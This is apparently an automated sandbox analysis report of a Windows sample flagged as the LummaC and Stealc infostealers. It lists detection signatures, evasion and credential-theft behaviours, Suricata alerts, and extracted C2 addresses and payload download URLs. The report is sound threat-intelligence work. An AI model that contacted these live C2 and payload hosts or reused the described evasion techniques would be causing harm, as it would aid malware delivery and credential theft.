Edit tour

Windows Analysis Report
Qmg24kMXxU.exe

Overview

General Information

Sample name:	Qmg24kMXxU.exe renamed because original name is a hash value
Original sample name:	ebc8ee2571051c972257a5a46feff86f.exe
Analysis ID:	1578891
MD5:	ebc8ee2571051c972257a5a46feff86f
SHA1:	9ea7d00344c07d9ad2c75e9dae5204fdb1851c68
SHA256:	c4396fe392517c74d80dd64ca396bc344f5197bf3116a040f4f67d7cf49f6e54
Tags:	exeuser-abuse_ch
Infos:

Detection

LummaC, Stealc

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Antivirus / Scanner detection for submitted sample

Antivirus detection for dropped file

Detected unpacking (changes PE section rights)

Found malware configuration

Multi AV Scanner detection for dropped file

Multi AV Scanner detection for submitted file

Suricata IDS alerts for network traffic

Yara detected LummaC Stealer

Yara detected Powershell download and execute

Yara detected Stealc

AI detected suspicious sample

C2 URLs / IPs found in malware configuration

Disable Windows Defender notifications (registry)

Disable Windows Defender real time protection (registry)

Disables Windows Defender Tamper protection

Found many strings related to Crypto-Wallets (likely being stolen)

Hides threads from debuggers

LummaC encrypted strings found

Machine Learning detection for dropped file

Machine Learning detection for sample

Modifies windows update settings

PE file contains section with special chars

Potentially malicious time measurement code found

Query firmware table information (likely to detect VMs)

Tries to detect process monitoring tools (Task Manager, Process Explorer etc.)

Tries to detect sandboxes / dynamic malware analysis system (registry check)

Tries to detect sandboxes and other dynamic analysis tools (window names)

Tries to detect virtualization through RDTSC time measurements

Tries to evade debugger and weak emulator (self modifying code)

Tries to harvest and steal browser information (history, passwords, etc)

Tries to harvest and steal ftp login credentials

Tries to steal Crypto Currency Wallets

AV process strings found (often used to terminate AV products)

Allocates memory with a write watch (potentially for evading sandboxes)

Checks for debuggers (devices)

Checks if the current process is being debugged

Contains capabilities to detect virtual machines

Contains functionality for execution timing, often used to detect debuggers

Contains functionality to access loader functionality (e.g. LdrGetProcedureAddress)

Contains functionality to detect virtual machines (SIDT)

Contains long sleeps (>= 3 min)

Detected potential crypto function

Downloads executable code via HTTP

Drops PE files

Enables debug privileges

Entry point lies outside standard sections

HTTP GET or POST without a user agent

IP address seen in connection with other malware

Internet Provider seen in connection with other malware

JA3 SSL client fingerprint seen in connection with other malware

May sleep (evasive loops) to hinder dynamic analysis

PE file contains an invalid checksum

PE file contains sections with non-standard names

Queries sensitive BIOS Information (via WMI, Win32_Bios & Win32_BaseBoard, often done to detect virtual machines)

Queries the volume information (name, serial number etc) of a device

Sample execution stops while process was sleeping (likely an evasion)

Sample file is different than original file name gathered from version info

Searches for user specific document files

Shows file infection / information gathering behavior (enumerates multiple directory for files)

Suricata IDS alerts with low severity for network traffic

Uses 32bit PE files

Uses a known web browser user agent for HTTP communication

Uses code obfuscation techniques (call, push, ret)

Yara detected Credential Stealer

Classification

Process Tree

System is w10x64

Qmg24kMXxU.exe (PID: 6508 cmdline: "C:\Users\user\Desktop\Qmg24kMXxU.exe" MD5: EBC8EE2571051C972257A5A46FEFF86F)

JKGP0UT4QWTEFN0LA50.exe (PID: 7360 cmdline: "C:\Users\user\AppData\Local\Temp\JKGP0UT4QWTEFN0LA50.exe" MD5: 924B9CDE47B9957EDE7465EDD607FC47)

CDGKAM2IQXKUB3Q3YB1GNIUGKY.exe (PID: 7324 cmdline: "C:\Users\user\AppData\Local\Temp\CDGKAM2IQXKUB3Q3YB1GNIUGKY.exe" MD5: E48CA69B3F439CF66679FFE60EFD564F)

cleanup

Malware Threat Intel

Provided by

Name	Description	Attribution	Blogpost URLs	Link
Lumma Stealer, LummaC2 Stealer	Lumma Stealer (aka LummaC2 Stealer) is an information stealer written in C language that has been available through a Malware-as-a-Service (MaaS) model on Russian-speaking forums since at least August 2022. It is believed to have been developed by the threat actor "Shamel", who goes by the alias "Lumma". Lumma Stealer primarily targets cryptocurrency wallets and two-factor authentication (2FA) browser extensions, before ultimately stealing sensitive information from the victim's machine. Once the targeted data is obtained, it is exfiltrated to a C2 server via HTTP POST requests using the user agent "TeslaBrowser/5.5"." The stealer also features a non-resident loader that is capable of delivering additional payloads via EXE, DLL, and PowerShell.	No Attribution	https://0xmrmagnezi.github.io/malware%20analysis/LummaStealer/ https://0xtoxin-labs.gitbook.io/malware-analysis/malware-analysis/lummac2-breakdown#chrome-extensions-crx https://any.run/cybersecurity-blog/crackedcantil-breakdown/ https://blog.cyble.com/2023/01/06/lummac2-stealer-a-potent-threat-to-crypto-users/ https://blog.sekoia.io/exposing-fakebat-loader-distribution-methods-and-adversary-infrastructure/	https://malpedia.caad.fkie.fraunhofer.de/details/win.lumma

Name	Description	Attribution	Blogpost URLs	Link
Stealc	Stealc is an information stealer advertised by its presumed developer Plymouth on Russian-speaking underground forums and sold as a Malware-as-a-Service since January 9, 2023. According to Plymouth's statement, stealc is a non-resident stealer with flexible data collection settings and its development is relied on other prominent stealers: Vidar, Raccoon, Mars and Redline.Stealc is written in C and uses WinAPI functions. It mainly targets date from web browsers, extensions and Desktop application of cryptocurrency wallets, and from other applications (messengers, email clients, etc.). The malware downloads 7 legitimate third-party DLLs to collect sensitive data from web browsers, including sqlite3.dll, nss3.dll, vcruntime140.dll, mozglue.dll, freebl3.dll, softokn3.dll and msvcp140.dll. It then exfiltrates the collected information file by file to its C2 server using HTTP POST requests.	No Attribution	https://any.run/cybersecurity-blog/crackedcantil-breakdown/ https://blog.sekoia.io/clickfix-tactic-the-phantom-meet/ https://blog.sekoia.io/stealc-a-copycat-of-vidar-and-raccoon-infostealers-gaining-in-popularity-part-1/ https://blog.sekoia.io/stealc-a-copycat-of-vidar-and-raccoon-infostealers-gaining-in-popularity-part-2/ https://cocomelonc.github.io/book/2023/12/13/malwild-book.html	https://malpedia.caad.fkie.fraunhofer.de/details/win.stealc

Malware Configuration

Threatname: StealC

{"C2 url": "http://185.215.113.206/c4becf79229cb002.php"}

Threatname: LummaC

{"C2 url": ["rapeflowwj.lat", "sustainskelet.lat", "energyaffai.lat", "grannyejh.lat", "discokeyus.lat", "necklacebudi.lat", "crosshuaht.lat", "aspecteirs.lat", "sweepyribs.lat"], "Build id": "1Qu--"}

Yara Signatures

PCAP (Network Traffic)

Source	Rule	Description	Author
dump.pcap	JoeSecurity_Stealc_1	Yara detected Stealc	Joe Security
sslproxydump.pcap	JoeSecurity_LummaCStealer_3	Yara detected LummaC Stealer	Joe Security
sslproxydump.pcap	JoeSecurity_LummaCStealer_2	Yara detected LummaC Stealer	Joe Security

Memory Dumps

Source	Rule	Description	Author
00000002.00000003.2444903083.0000000000DBD000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000011.00000003.2697183057.00000000051A0000.00000004.00001000.00020000.00000000.sdmp	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
00000011.00000002.2744770047.000000000168E000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
00000011.00000002.2740775747.0000000000FC1000.00000040.00000001.01000000.0000000B.sdmp	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
Process Memory Space: Qmg24kMXxU.exe PID: 6508	JoeSecurity_LummaCStealer_3	Yara detected LummaC Stealer	Joe Security
Process Memory Space: Qmg24kMXxU.exe PID: 6508	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
Process Memory Space: Qmg24kMXxU.exe PID: 6508	JoeSecurity_LummaCStealer	Yara detected LummaC Stealer	Joe Security
Process Memory Space: CDGKAM2IQXKUB3Q3YB1GNIUGKY.exe PID: 7324	JoeSecurity_PowershellDownloadAndExecute	Yara detected Powershell download and execute	Joe Security
Process Memory Space: CDGKAM2IQXKUB3Q3YB1GNIUGKY.exe PID: 7324	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
Click to see the 4 entries

Suricata Signatures

ET JA3 Hash - Possible Malware - Fake Firefox Font Update

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-20T16:19:22.341511+0100	2028371	3	Unknown Traffic	192.168.2.6	49727	172.67.197.170	443	TCP
2024-12-20T16:19:25.750317+0100	2028371	3	Unknown Traffic	192.168.2.6	49738	172.67.197.170	443	TCP
2024-12-20T16:19:28.401604+0100	2028371	3	Unknown Traffic	192.168.2.6	49748	172.67.197.170	443	TCP
2024-12-20T16:19:31.245703+0100	2028371	3	Unknown Traffic	192.168.2.6	49754	172.67.197.170	443	TCP
2024-12-20T16:19:37.162825+0100	2028371	3	Unknown Traffic	192.168.2.6	49779	172.67.197.170	443	TCP
2024-12-20T16:19:40.984571+0100	2028371	3	Unknown Traffic	192.168.2.6	49792	172.67.197.170	443	TCP
2024-12-20T16:19:45.387730+0100	2028371	3	Unknown Traffic	192.168.2.6	49807	172.67.197.170	443	TCP
2024-12-20T16:19:51.236589+0100	2028371	3	Unknown Traffic	192.168.2.6	49821	172.67.197.170	443	TCP

ET MALWARE Lumma Stealer CnC Host Checkin

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-20T16:19:24.508840+0100	2054653	1	A Network Trojan was detected	192.168.2.6	49727	172.67.197.170	443	TCP
2024-12-20T16:19:26.675886+0100	2054653	1	A Network Trojan was detected	192.168.2.6	49738	172.67.197.170	443	TCP
2024-12-20T16:19:52.359430+0100	2054653	1	A Network Trojan was detected	192.168.2.6	49821	172.67.197.170	443	TCP

ET MALWARE Lumma Stealer Related Activity

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-20T16:19:24.508840+0100	2049836	1	A Network Trojan was detected	192.168.2.6	49727	172.67.197.170	443	TCP

ET MALWARE Lumma Stealer Related Activity M2

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-20T16:19:26.675886+0100	2049812	1	A Network Trojan was detected	192.168.2.6	49738	172.67.197.170	443	TCP

ET MALWARE Observed Win32/Lumma Stealer Related Domain (discokeyus .lat in TLS SNI)

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-20T16:19:22.341511+0100	2058361	1	Domain Observed Used for C2 Detected	192.168.2.6	49727	172.67.197.170	443	TCP
2024-12-20T16:19:25.750317+0100	2058361	1	Domain Observed Used for C2 Detected	192.168.2.6	49738	172.67.197.170	443	TCP
2024-12-20T16:19:28.401604+0100	2058361	1	Domain Observed Used for C2 Detected	192.168.2.6	49748	172.67.197.170	443	TCP
2024-12-20T16:19:31.245703+0100	2058361	1	Domain Observed Used for C2 Detected	192.168.2.6	49754	172.67.197.170	443	TCP
2024-12-20T16:19:37.162825+0100	2058361	1	Domain Observed Used for C2 Detected	192.168.2.6	49779	172.67.197.170	443	TCP
2024-12-20T16:19:40.984571+0100	2058361	1	Domain Observed Used for C2 Detected	192.168.2.6	49792	172.67.197.170	443	TCP
2024-12-20T16:19:45.387730+0100	2058361	1	Domain Observed Used for C2 Detected	192.168.2.6	49807	172.67.197.170	443	TCP
2024-12-20T16:19:51.236589+0100	2058361	1	Domain Observed Used for C2 Detected	192.168.2.6	49821	172.67.197.170	443	TCP

ET MALWARE Terse alphanumeric executable downloader high likelihood of being hostile

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-20T16:19:53.832587+0100	2019714	2	Potentially Bad Traffic	192.168.2.6	49828	185.215.113.16	80	TCP

ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (discokeyus .lat)

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-20T16:19:20.771232+0100	2058360	1	Domain Observed Used for C2 Detected	192.168.2.6	58159	1.1.1.1	53	UDP

ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (grannyejh .lat)

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-20T16:19:20.609340+0100	2058364	1	Domain Observed Used for C2 Detected	192.168.2.6	59610	1.1.1.1	53	UDP

ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (sweepyribs .lat)

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-20T16:19:20.423026+0100	2058378	1	Domain Observed Used for C2 Detected	192.168.2.6	50602	1.1.1.1	53	UDP

ET MALWARE [ANY.RUN] Win32/Lumma Stealer Exfiltration

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-20T16:19:29.804503+0100	2048094	1	Malware Command and Control Activity Detected	192.168.2.6	49748	172.67.197.170	443	TCP

ET MALWARE [SEKOIA.IO] Win32/Stealc C2 Check-in

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-20T16:20:07.911302+0100	2044243	1	Malware Command and Control Activity Detected	192.168.2.6	49858	185.215.113.206	80	TCP

HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 8Host: discokeyus.lat

Source: Qmg24kMXxU.exe, 00000002.00000003.2641702499.0000000000DCB000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/
Source: Qmg24kMXxU.exe, 00000002.00000003.2641661948.0000000000DBD000.00000004.00000020.00020000.00000000.sdmp, Qmg24kMXxU.exe, 00000002.00000003.2641702499.0000000000DCB000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/M
Source: Qmg24kMXxU.exe, 00000002.00000003.2641661948.0000000000DBD000.00000004.00000020.00020000.00000000.sdmp, Qmg24kMXxU.exe, 00000002.00000003.2641702499.0000000000DCB000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/T
Source: Qmg24kMXxU.exe, 00000002.00000003.2641661948.0000000000DBD000.00000004.00000020.00020000.00000000.sdmp, Qmg24kMXxU.exe, 00000002.00000003.2641702499.0000000000DCB000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/off/def.exe
Source: Qmg24kMXxU.exe, 00000002.00000003.2641770523.0000000000D6D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/off/def.exe(
Source: Qmg24kMXxU.exe, 00000002.00000003.2641770523.0000000000D6D000.00000004.00000020.00020000.00000000.sdmp, Qmg24kMXxU.exe, 00000002.00000003.2641661948.0000000000DBD000.00000004.00000020.00020000.00000000.sdmp, Qmg24kMXxU.exe, 00000002.00000003.2641702499.0000000000DCB000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/steam/random.exe
Source: Qmg24kMXxU.exe, 00000002.00000003.2641770523.0000000000D33000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16:80/off/def.exe
Source: Qmg24kMXxU.exe, 00000002.00000003.2641770523.0000000000D33000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16:80/steam/random.exe
Source: CDGKAM2IQXKUB3Q3YB1GNIUGKY.exe, 00000011.00000002.2744770047.000000000168E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206
Source: CDGKAM2IQXKUB3Q3YB1GNIUGKY.exe, 00000011.00000002.2744770047.00000000016E9000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/
Source: CDGKAM2IQXKUB3Q3YB1GNIUGKY.exe, 00000011.00000002.2744770047.00000000016E9000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/$
Source: CDGKAM2IQXKUB3Q3YB1GNIUGKY.exe, 00000011.00000002.2744770047.00000000016E9000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/F
Source: CDGKAM2IQXKUB3Q3YB1GNIUGKY.exe, 00000011.00000002.2744770047.00000000016E9000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/c4becf79229cb002.php
Source: CDGKAM2IQXKUB3Q3YB1GNIUGKY.exe, 00000011.00000002.2744770047.00000000016E9000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/c4becf79229cb002.php/
Source: CDGKAM2IQXKUB3Q3YB1GNIUGKY.exe, 00000011.00000002.2744770047.00000000016D3000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/c4becf79229cb002.php1-573d1d5ce43f
Source: CDGKAM2IQXKUB3Q3YB1GNIUGKY.exe, 00000011.00000002.2744770047.00000000016E9000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/c4becf79229cb002.php74
Source: CDGKAM2IQXKUB3Q3YB1GNIUGKY.exe, 00000011.00000002.2744770047.00000000016E9000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/c4becf79229cb002.phpW4
Source: Qmg24kMXxU.exe, 00000002.00000003.2405053327.000000000546A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://cacerts.digicert.com/DigiCertGlobalRootCA.crt0
Source: Qmg24kMXxU.exe, 00000002.00000003.2405053327.000000000546A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://cacerts.digicert.com/DigiCertGlobalRootCA.crt0B
Source: Qmg24kMXxU.exe, 00000002.00000003.2405053327.000000000546A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://crl.rootca1.amazontrust.com/rootca1.crl0
Source: Qmg24kMXxU.exe, 00000002.00000003.2405053327.000000000546A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://crl3.digicert.com/DigiCertGlobalRootCA.crl07
Source: Qmg24kMXxU.exe, 00000002.00000003.2405053327.000000000546A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://crl3.digicert.com/DigiCertGlobalRootCA.crl0=
Source: Qmg24kMXxU.exe, 00000002.00000003.2405053327.000000000546A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://crl4.digicert.com/DigiCertGlobalRootCA.crl00
Source: Qmg24kMXxU.exe, 00000002.00000003.2405053327.000000000546A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://crt.rootca1.amazontrust.com/rootca1.cer0?
Source: Qmg24kMXxU.exe, 00000002.00000003.2405053327.000000000546A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://ocsp.digicert.com0
Source: Qmg24kMXxU.exe, 00000002.00000003.2405053327.000000000546A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://ocsp.rootca1.amazontrust.com0:
Source: Qmg24kMXxU.exe, 00000002.00000003.2405053327.000000000546A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://x1.c.lencr.org/0
Source: Qmg24kMXxU.exe, 00000002.00000003.2405053327.000000000546A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://x1.i.lencr.org/0
Source: Qmg24kMXxU.exe, 00000002.00000003.2317561707.000000000547E000.00000004.00000800.00020000.00000000.sdmp, Qmg24kMXxU.exe, 00000002.00000003.2317871937.000000000547C000.00000004.00000800.00020000.00000000.sdmp, Qmg24kMXxU.exe, 00000002.00000003.2317642963.000000000547C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://ac.ecosia.org/autocomplete?q=
Source: Qmg24kMXxU.exe, 00000002.00000003.2407323790.0000000005455000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://bridge.sfo1.admarketplace.net/ctp?version=16.0.0&key=1696484494400800000.2&ci=1696484494189.
Source: Qmg24kMXxU.exe, 00000002.00000003.2407323790.0000000005455000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://bridge.sfo1.ap01.net/ctp?version=16.0.0&key=1696484494400800000.1&ci=1696484494189.12791&cta
Source: Qmg24kMXxU.exe, 00000002.00000003.2317561707.000000000547E000.00000004.00000800.00020000.00000000.sdmp, Qmg24kMXxU.exe, 00000002.00000003.2317871937.000000000547C000.00000004.00000800.00020000.00000000.sdmp, Qmg24kMXxU.exe, 00000002.00000003.2317642963.000000000547C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://cdn.ecosia.org/assets/images/ico/favicon.icohttps://www.ecosia.org/search?q=
Source: Qmg24kMXxU.exe, 00000002.00000003.2317561707.000000000547E000.00000004.00000800.00020000.00000000.sdmp, Qmg24kMXxU.exe, 00000002.00000003.2317871937.000000000547C000.00000004.00000800.00020000.00000000.sdmp, Qmg24kMXxU.exe, 00000002.00000003.2317642963.000000000547C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://ch.search.yahoo.com/favicon.icohttps://ch.search.yahoo.com/search
Source: Qmg24kMXxU.exe, 00000002.00000003.2317561707.000000000547E000.00000004.00000800.00020000.00000000.sdmp, Qmg24kMXxU.exe, 00000002.00000003.2317871937.000000000547C000.00000004.00000800.00020000.00000000.sdmp, Qmg24kMXxU.exe, 00000002.00000003.2317642963.000000000547C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://ch.search.yahoo.com/sugg/chrome?output=fxjson&appid=crmas&command=
Source: Qmg24kMXxU.exe, 00000002.00000003.2407323790.0000000005455000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://contile-images.services.mozilla.com/T23eBL4EHswiSaF6kya2gYsRHvdfADK-NYjs1mVRNGE.3351.jpg
Source: Qmg24kMXxU.exe, 00000002.00000003.2407323790.0000000005455000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://contile-images.services.mozilla.com/obgoOYObjIFea_bXuT6L4LbBJ8j425AD87S1HMD3BWg.9991.jpg
Source: Qmg24kMXxU.exe, 00000002.00000003.2502304319.0000000000DC7000.00000004.00000020.00020000.00000000.sdmp, Qmg24kMXxU.exe, 00000002.00000003.2641770523.0000000000D49000.00000004.00000020.00020000.00000000.sdmp, Qmg24kMXxU.exe, 00000002.00000003.2445012315.0000000000DCA000.00000004.00000020.00020000.00000000.sdmp, Qmg24kMXxU.exe, 00000002.00000003.2445186422.0000000000DCC000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://discokeyus.lat/
Source: Qmg24kMXxU.exe, 00000002.00000003.2444903083.0000000000DBD000.00000004.00000020.00020000.00000000.sdmp, Qmg24kMXxU.exe, 00000002.00000003.2444958037.0000000000DC5000.00000004.00000020.00020000.00000000.sdmp, Qmg24kMXxU.exe, 00000002.00000003.2445012315.0000000000DCA000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://discokeyus.lat/.
Source: Qmg24kMXxU.exe, 00000002.00000003.2440505632.0000000005431000.00000004.00000800.00020000.00000000.sdmp, Qmg24kMXxU.exe, 00000002.00000003.2479339162.0000000005431000.00000004.00000800.00020000.00000000.sdmp, Qmg24kMXxU.exe, 00000002.00000003.2441360289.0000000005432000.00000004.00000800.00020000.00000000.sdmp, Qmg24kMXxU.exe, 00000002.00000003.2404781604.0000000005431000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://discokeyus.lat/Gn1y7xIBI
Source: Qmg24kMXxU.exe, 00000002.00000003.2641770523.0000000000D49000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://discokeyus.lat/T
Source: Qmg24kMXxU.exe, 00000002.00000003.2641544116.0000000005439000.00000004.00000800.00020000.00000000.sdmp, Qmg24kMXxU.exe, 00000002.00000003.2502257990.0000000005434000.00000004.00000800.00020000.00000000.sdmp, Qmg24kMXxU.exe, 00000002.00000003.2548188355.0000000000DB1000.00000004.00000020.00020000.00000000.sdmp, Qmg24kMXxU.exe, 00000002.00000003.2502466292.000000000543E000.00000004.00000800.00020000.00000000.sdmp, Qmg24kMXxU.exe, 00000002.00000003.2439958146.000000000545A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://discokeyus.lat/api
Source: Qmg24kMXxU.exe, 00000002.00000003.2641770523.0000000000D6D000.00000004.00000020.00020000.00000000.sdmp, Qmg24kMXxU.exe, 00000002.00000003.2548188355.0000000000DB1000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://discokeyus.lat/apicl
Source: Qmg24kMXxU.exe, 00000002.00000003.2439958146.000000000545A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://discokeyus.lat/apiexVe
Source: Qmg24kMXxU.exe, 00000002.00000003.2502257990.0000000005434000.00000004.00000800.00020000.00000000.sdmp, Qmg24kMXxU.exe, 00000002.00000003.2502466292.000000000543E000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://discokeyus.lat/apixodb
Source: Qmg24kMXxU.exe, 00000002.00000003.2479339162.0000000005431000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://discokeyus.lat/k8gLSx
Source: Qmg24kMXxU.exe, 00000002.00000003.2440505632.0000000005431000.00000004.00000800.00020000.00000000.sdmp, Qmg24kMXxU.exe, 00000002.00000003.2479339162.0000000005431000.00000004.00000800.00020000.00000000.sdmp, Qmg24kMXxU.exe, 00000002.00000003.2441360289.0000000005432000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://discokeyus.lat/nlTW
Source: Qmg24kMXxU.exe, 00000002.00000003.2641770523.0000000000D33000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://discokeyus.lat:443/api
Source: Qmg24kMXxU.exe, 00000002.00000003.2641770523.0000000000D33000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://discokeyus.lat:443/apiY.
Source: Qmg24kMXxU.exe, 00000002.00000003.2317561707.000000000547E000.00000004.00000800.00020000.00000000.sdmp, Qmg24kMXxU.exe, 00000002.00000003.2317871937.000000000547C000.00000004.00000800.00020000.00000000.sdmp, Qmg24kMXxU.exe, 00000002.00000003.2317642963.000000000547C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://duckduckgo.com/ac/?q=
Source: Qmg24kMXxU.exe, 00000002.00000003.2317561707.000000000547E000.00000004.00000800.00020000.00000000.sdmp, Qmg24kMXxU.exe, 00000002.00000003.2317871937.000000000547C000.00000004.00000800.00020000.00000000.sdmp, Qmg24kMXxU.exe, 00000002.00000003.2317642963.000000000547C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://duckduckgo.com/chrome_newtab
Source: Qmg24kMXxU.exe, 00000002.00000003.2317561707.000000000547E000.00000004.00000800.00020000.00000000.sdmp, Qmg24kMXxU.exe, 00000002.00000003.2317871937.000000000547C000.00000004.00000800.00020000.00000000.sdmp, Qmg24kMXxU.exe, 00000002.00000003.2317642963.000000000547C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=
Source: Qmg24kMXxU.exe, 00000002.00000003.2407323790.0000000005455000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://imp.mt48.net/static?id=7RHzfOIXjFEYsBdvIpkX4Qqm4pLk4pqk4pbW1pbWfpbW7ReNxR3UIG8zInwYIFIVs9eYi
Source: Qmg24kMXxU.exe, 00000002.00000003.2406285339.0000000005553000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://support.mozilla.org/kb/customize-firefox-controls-buttons-and-toolbars?utm_source=firefox-br
Source: Qmg24kMXxU.exe, 00000002.00000003.2406285339.0000000005553000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://support.mozilla.org/products/firefoxgro.all
Source: Qmg24kMXxU.exe, 00000002.00000003.2407323790.0000000005455000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.amazon.com/?tag=admarketus-20&ref=pd_sl_86277c656a4bd7d619968160e91c45fd066919bb3bd119b3
Source: Qmg24kMXxU.exe, 00000002.00000003.2317561707.000000000547E000.00000004.00000800.00020000.00000000.sdmp, Qmg24kMXxU.exe, 00000002.00000003.2317871937.000000000547C000.00000004.00000800.00020000.00000000.sdmp, Qmg24kMXxU.exe, 00000002.00000003.2317642963.000000000547C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.ecosia.org/newtab/
Source: Qmg24kMXxU.exe, 00000002.00000003.2317561707.000000000547E000.00000004.00000800.00020000.00000000.sdmp, Qmg24kMXxU.exe, 00000002.00000003.2317871937.000000000547C000.00000004.00000800.00020000.00000000.sdmp, Qmg24kMXxU.exe, 00000002.00000003.2317642963.000000000547C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.google.com/images/branding/product/ico/googleg_lodp.ico
Source: Qmg24kMXxU.exe, 00000002.00000003.2406137125.0000000005466000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.or
Source: Qmg24kMXxU.exe, 00000002.00000003.2406137125.0000000005466000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org
Source: Qmg24kMXxU.exe, 00000002.00000003.2406285339.0000000005553000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/about/gro.allizom.www.bwSC1pmG_zle
Source: Qmg24kMXxU.exe, 00000002.00000003.2406285339.0000000005553000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/contribute/gro.allizom.www.hjKdHaZH-dbQ
Source: Qmg24kMXxU.exe, 00000002.00000003.2406285339.0000000005553000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/firefox/?utm_medium=firefox-desktop&utm_source=bookmarks-toolbar&utm_campaig
